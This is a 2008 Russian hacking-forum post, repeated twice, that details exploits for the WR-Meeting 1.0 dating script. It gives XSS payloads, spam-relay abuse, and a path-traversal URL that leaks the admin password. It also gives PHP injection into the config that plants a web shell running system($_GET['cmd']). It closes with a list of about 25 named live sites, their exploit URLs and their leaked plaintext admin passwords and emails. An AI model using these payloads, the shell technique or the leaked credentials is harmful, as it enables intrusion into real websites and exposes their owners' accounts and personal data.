otmorozok428
17.05.2008, 21:12
Продолжаем оперировать семейство скриптов WR-Script. Сегодня в поле нашего зрения - служба знакомств WR-Meeting 1.0. Итак, я нашёл следующие уязвимости...
1. Пассивные XSS.
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr<script>alert()</script>&email=loh@loh.ru
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru><script>alert()</script><
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru&id=23><script>alert()</script><
На странице
http://localhost/wrm/index.php?event=addform
можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку
<script>alert()</script>
Например,
1234567890<script>alert()</script>
Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45.
Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике...
2. Рассылка спама
Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru
передаст email loh@loh.ru в форму отправки сообщения, в скрытое поле
<INPUT type=hidden name=uemail value=loh@loh.ru>
откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно.
3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами
http://localhost/wrm/addmsg.php?id=&msnum=22268
Откроем исходный код страницы и заменим
<FORM action='addmsg.php?event=add&msnum=22268' method=post name=addForm>
на
<FORM action='http://localhost/wrm/addmsg.php?event=add&msnum=99999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999999999' method=post name=addForm>
Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем
99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999.dat
Чистой воды хулиганство... :)
4. Возможность выставления нестандартной оценки для фотографий.
Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк
http://localhost/wrm/index.php?event=coment&msnum=22268
открываем исходный код странички, меняем
<INPUT name=type type=radio value='5'>5</TD></TR>
на
<INPUT name=type type=radio value='99'>99</TD></TR>
сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку...
5. Просмотр файлов на сервере
Параметр msnum в файле index.php вставляется в качестве имени файла "как есть"
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];
.................................................. .....
if (is_file("$datadir/$msnum.dat")) {
$rlines=file("$datadir/$msnum.dat");
.................................................. .....
, что даёт возможность просматривать файлы на сервере. Так, ссылка вида
http://localhost/wrm/index.php?event=coment&msnum=../config.php%00
позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки.
Фиксится данная уязвимость заменой условия
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];
.................................................. .....
на
if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum'];
.................................................. .....
6. Заливка шелла
Смотрим админский пасс в файле config.php, заходим в админку
http://localhost/wrm/admin.php на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и
заменяем в нём ./fotodat на
./fotodat";if(isset($_GET["cmd"])){include($cmd);}//
для удалённого инклуда шелла
или на
./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//
для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен.
Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе.
7. Раздача
Вот, нагуглилось...
http://love.sibdoska.ru/index.php?event=coment&msnum=../config.php%00
$password="s1"; // Пароль админа
$adminemail="Miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.gay-dosug.ru/index.php?event=coment&msnum=../config.php%00
$password="390035"; // Пароль админа
$adminemail="4033@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.sayanboard.ru/love/index.php?event=coment&msnum=../config.php%00
$password="pvo71599e"; // Пароль админа
$adminemail="admin@sayanboard.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.garda.org.ua/meeting/admin.php?pswrd=admin
------------------------------------------------------------------------
http://www.sparta.md/meeting/index.php?event=coment&msnum=../config.php%00
$password="430-430"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://repairnetwork.ru/index.php?event=coment&msnum=../config.php%00
$password="4onada"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
Хитрый аффтар снёс админку из демо-версии :)
http://www.wr-script.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="q1q2"; // Пароль админа
$adminemail="miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://love.mynickel.net.ru/index.php?event=coment&msnum=../config.php%00
$password="Suchka87"; // Пароль админа
$adminemail="admin@myickel.net.ru"; // Емайл админа
------------------------------------------------------------------------
http://starominska.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="cm6gnk"; // Пароль админа
$adminemail="admin@starominska.ru"; // Емайл админа
------------------------------------------------------------------------
http://diana.mindlife.ru/index.php?event=coment&msnum=../config.php%00
$password="dimap"; // Пароль админа
$adminemail="astro_d@inbox.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.inetsky.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="pyfrjvmcz32"; // Пароль админа
$adminemail="wacher@mail.inetsky.ru"; // Емайл админа
------------------------------------------------------------------------
http://213.8.173.232/9/index.php?event=coment&msnum=../config.php%00
$password="admin"; // Пароль админа
$adminemail="Miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://znakomstva.foxcat.ru/index.php?event=coment&msnum=../config.php%00
$password="010377"; // Пароль админа
$adminemail="alexey__fedotov@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://allove.in/admin.php?pswrd=admin
------------------------------------------------------------------------
http://php-ru.info/1/meet/index.php?event=coment&msnum=../config.php%00
$password="Virusebola"; // Пароль админа
$adminemail="gamovic@rambler.ru"; // Емайл админа
------------------------------------------------------------------------
http://vs.tj/index.php?event=coment&msnum=../config.php%00
$password="ghbdtn"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.videomontazh.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="lalala"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.ineedlove.metroland.ru/index.php?event=coment&msnum=../config.php%00
$password="reeboot"; // Пароль админа
$adminemail="code-soft@programist.ru"; // Емайл админа
------------------------------------------------------------------------
http://zauralrb.info/znak/index.php?event=coment&msnum=../config.php%00
$password="kvartira"; // Пароль админа
$adminemail="admin@zauralrb.info"; // Емайл админа
------------------------------------------------------------------------
http://www.znamenka75.com/meeting/admin.php?pswrd=admin
------------------------------------------------------------------------
http://www.kshyms.com/acquaintances/admin.php?pswrd=admin
-----------------------------------------------------------------------
http://lubny.com.ua/meeting/admin.php?pswrd=admin
-----------------------------------------------------------------------
http://emenci.com/foto/index.php?event=coment&msnum=../config.php%00
$password="vflfufcrfh"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://aleks-an.net.ru/love/index.php?event=coment&msnum=../config.php%00
$password="aleksadm"; // Пароль админа
$adminemail="andr_aleks@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://rig.fatal.ru/znakomstva/index.php?event=coment&msnum=../config.php%00
$password="16071960"; // Пароль админа
$adminemail="zdvika@narod.ru"; // Емайл админа
------------------------------------------------------------------------
http://rk-pechora.ru/znakomstva/index.php?event=coment&msnum=../config.php%00
$password="PE8KW1M59d"; // Пароль админа
$adminemail="admin@nikolai800.ru"; // Емайл админа
------------------------------------------------------------------------
http://oberon.oriontv.net/znak/index.php?event=coment&msnum=../config.php%00
$password="vvvvvv"; // Пароль админа
$adminemail="serhio@oriontv.net"; // Емайл админа
К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin.
*******
1. Пассивные XSS.
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr<script>alert()</script>&email=loh@loh.ru
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru><script>alert()</script><
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru&id=23><script>alert()</script><
На странице
http://localhost/wrm/index.php?event=addform
можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку
<script>alert()</script>
Например,
1234567890<script>alert()</script>
Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45.
Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике...
2. Рассылка спама
Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru
передаст email loh@loh.ru в форму отправки сообщения, в скрытое поле
<INPUT type=hidden name=uemail value=loh@loh.ru>
откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно.
3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами
http://localhost/wrm/addmsg.php?id=&msnum=22268
Откроем исходный код страницы и заменим
<FORM action='addmsg.php?event=add&msnum=22268' method=post name=addForm>
на
<FORM action='http://localhost/wrm/addmsg.php?event=add&msnum=99999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999999999' method=post name=addForm>
Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем
99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999.dat
Чистой воды хулиганство... :)
4. Возможность выставления нестандартной оценки для фотографий.
Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк
http://localhost/wrm/index.php?event=coment&msnum=22268
открываем исходный код странички, меняем
<INPUT name=type type=radio value='5'>5</TD></TR>
на
<INPUT name=type type=radio value='99'>99</TD></TR>
сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку...
5. Просмотр файлов на сервере
Параметр msnum в файле index.php вставляется в качестве имени файла "как есть"
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];
.................................................. .....
if (is_file("$datadir/$msnum.dat")) {
$rlines=file("$datadir/$msnum.dat");
.................................................. .....
, что даёт возможность просматривать файлы на сервере. Так, ссылка вида
http://localhost/wrm/index.php?event=coment&msnum=../config.php%00
позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки.
Фиксится данная уязвимость заменой условия
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];
.................................................. .....
на
if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum'];
.................................................. .....
6. Заливка шелла
Смотрим админский пасс в файле config.php, заходим в админку
http://localhost/wrm/admin.php на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и
заменяем в нём ./fotodat на
./fotodat";if(isset($_GET["cmd"])){include($cmd);}//
для удалённого инклуда шелла
или на
./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//
для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен.
Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе.
7. Раздача
Вот, нагуглилось...
http://love.sibdoska.ru/index.php?event=coment&msnum=../config.php%00
$password="s1"; // Пароль админа
$adminemail="Miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.gay-dosug.ru/index.php?event=coment&msnum=../config.php%00
$password="390035"; // Пароль админа
$adminemail="4033@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.sayanboard.ru/love/index.php?event=coment&msnum=../config.php%00
$password="pvo71599e"; // Пароль админа
$adminemail="admin@sayanboard.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.garda.org.ua/meeting/admin.php?pswrd=admin
------------------------------------------------------------------------
http://www.sparta.md/meeting/index.php?event=coment&msnum=../config.php%00
$password="430-430"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://repairnetwork.ru/index.php?event=coment&msnum=../config.php%00
$password="4onada"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
Хитрый аффтар снёс админку из демо-версии :)
http://www.wr-script.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="q1q2"; // Пароль админа
$adminemail="miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://love.mynickel.net.ru/index.php?event=coment&msnum=../config.php%00
$password="Suchka87"; // Пароль админа
$adminemail="admin@myickel.net.ru"; // Емайл админа
------------------------------------------------------------------------
http://starominska.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="cm6gnk"; // Пароль админа
$adminemail="admin@starominska.ru"; // Емайл админа
------------------------------------------------------------------------
http://diana.mindlife.ru/index.php?event=coment&msnum=../config.php%00
$password="dimap"; // Пароль админа
$adminemail="astro_d@inbox.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.inetsky.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="pyfrjvmcz32"; // Пароль админа
$adminemail="wacher@mail.inetsky.ru"; // Емайл админа
------------------------------------------------------------------------
http://213.8.173.232/9/index.php?event=coment&msnum=../config.php%00
$password="admin"; // Пароль админа
$adminemail="Miha-ingener@yandex.ru"; // Емайл админа
------------------------------------------------------------------------
http://znakomstva.foxcat.ru/index.php?event=coment&msnum=../config.php%00
$password="010377"; // Пароль админа
$adminemail="alexey__fedotov@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://allove.in/admin.php?pswrd=admin
------------------------------------------------------------------------
http://php-ru.info/1/meet/index.php?event=coment&msnum=../config.php%00
$password="Virusebola"; // Пароль админа
$adminemail="gamovic@rambler.ru"; // Емайл админа
------------------------------------------------------------------------
http://vs.tj/index.php?event=coment&msnum=../config.php%00
$password="ghbdtn"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.videomontazh.ru/meeting/index.php?event=coment&msnum=../config.php%00
$password="lalala"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://www.ineedlove.metroland.ru/index.php?event=coment&msnum=../config.php%00
$password="reeboot"; // Пароль админа
$adminemail="code-soft@programist.ru"; // Емайл админа
------------------------------------------------------------------------
http://zauralrb.info/znak/index.php?event=coment&msnum=../config.php%00
$password="kvartira"; // Пароль админа
$adminemail="admin@zauralrb.info"; // Емайл админа
------------------------------------------------------------------------
http://www.znamenka75.com/meeting/admin.php?pswrd=admin
------------------------------------------------------------------------
http://www.kshyms.com/acquaintances/admin.php?pswrd=admin
-----------------------------------------------------------------------
http://lubny.com.ua/meeting/admin.php?pswrd=admin
-----------------------------------------------------------------------
http://emenci.com/foto/index.php?event=coment&msnum=../config.php%00
$password="vflfufcrfh"; // Пароль админа
$adminemail="email@email.ru"; // Емайл админа
------------------------------------------------------------------------
http://aleks-an.net.ru/love/index.php?event=coment&msnum=../config.php%00
$password="aleksadm"; // Пароль админа
$adminemail="andr_aleks@mail.ru"; // Емайл админа
------------------------------------------------------------------------
http://rig.fatal.ru/znakomstva/index.php?event=coment&msnum=../config.php%00
$password="16071960"; // Пароль админа
$adminemail="zdvika@narod.ru"; // Емайл админа
------------------------------------------------------------------------
http://rk-pechora.ru/znakomstva/index.php?event=coment&msnum=../config.php%00
$password="PE8KW1M59d"; // Пароль админа
$adminemail="admin@nikolai800.ru"; // Емайл админа
------------------------------------------------------------------------
http://oberon.oriontv.net/znak/index.php?event=coment&msnum=../config.php%00
$password="vvvvvv"; // Пароль админа
$adminemail="serhio@oriontv.net"; // Емайл админа
К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin.
*******